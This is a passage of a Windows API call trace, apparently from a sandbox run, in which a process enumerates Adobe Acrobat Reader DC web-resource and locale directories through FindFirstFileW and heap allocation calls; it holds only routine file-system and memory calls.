DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.674] GetProcessHeap () returned 0xc10000 [0259.674] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.674] GetProcessHeap () returned 0xc10000 [0259.674] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.676] GetProcessHeap () returned 0xc10000 [0259.676] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.676] GetProcessHeap () returned 0xc10000 [0259.676] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.677] GetProcessHeap () returned 0xc10000 [0259.677] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.677] GetProcessHeap () returned 0xc10000 [0259.677] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.678] GetProcessHeap () returned 0xc10000 [0259.678] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.678] GetProcessHeap () returned 0xc10000 [0259.678] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.679] GetProcessHeap () returned 0xc10000 [0259.679] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.679] GetProcessHeap () returned 0xc10000 [0259.679] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.680] GetProcessHeap () returned 0xc10000 [0259.681] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.681] GetProcessHeap () returned 0xc10000 [0259.681] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0259.810] GetProcessHeap () returned 0xc10000 [0259.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.810] GetProcessHeap () returned 0xc10000 [0259.810] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.811] GetProcessHeap () returned 0xc10000 [0259.811] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.811] GetProcessHeap () returned 0xc10000 [0259.811] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.812] GetProcessHeap () returned 0xc10000 [0259.812] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.812] GetProcessHeap () returned 0xc10000 [0259.812] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.813] GetProcessHeap () returned 0xc10000 [0259.813] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.813] GetProcessHeap () returned 0xc10000 [0259.813] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.814] GetProcessHeap () returned 0xc10000 [0259.814] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.814] GetProcessHeap () returned 0xc10000 [0259.814] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.815] GetProcessHeap () returned 0xc10000 [0259.815] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.815] GetProcessHeap () returned 0xc10000 [0259.816] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.817] GetProcessHeap () returned 0xc10000 [0259.817] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.817] GetProcessHeap () returned 0xc10000 [0259.817] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.817] GetProcessHeap () returned 0xc10000 [0259.817] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.817] GetProcessHeap () returned 0xc10000 [0259.817] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.818] GetProcessHeap () returned 0xc10000 [0259.818] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.818] GetProcessHeap () returned 0xc10000 [0259.818] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.819] GetProcessHeap () returned 0xc10000 [0259.819] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.819] GetProcessHeap () returned 0xc10000 [0259.819] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.820] GetProcessHeap () returned 0xc10000 [0259.820] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.820] GetProcessHeap () returned 0xc10000 [0259.820] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.821] GetProcessHeap () returned 0xc10000 [0259.821] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.821] GetProcessHeap () returned 0xc10000 [0259.821] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.822] GetProcessHeap () returned 0xc10000 [0259.822] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.822] GetProcessHeap () returned 0xc10000 [0259.822] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.823] GetProcessHeap () returned 0xc10000 [0259.823] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.823] GetProcessHeap () returned 0xc10000 [0259.823] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0259.823] GetProcessHeap () returned 0xc10000 [0259.823] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0259.823] GetProcessHeap () returned 0xc10000 [0259.823] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0259.825] GetProcessHeap () returned 0xc10000 [0259.825] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0259.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0259.827] GetProcessHeap () returned 0xc10000 [0259.827] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0259.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0259.830] GetProcessHeap () returned 0xc10000 [0259.830] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0259.830] GetProcessHeap () returned 0xc10000 [0259.830] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0259.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0259.838] GetProcessHeap () returned 0xc10000 [0259.838] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0259.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.843] GetProcessHeap () returned 0xc10000 [0259.843] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0259.848] GetProcessHeap () returned 0xc10000 [0259.848] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.848] GetProcessHeap () returned 0xc10000 [0259.848] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0259.848] GetProcessHeap () returned 0xc10000 [0259.849] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0259.850] GetProcessHeap () returned 0xc10000 [0259.851] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0260.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.029] GetProcessHeap () returned 0xc10000 [0260.029] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0260.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\pages-app\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, 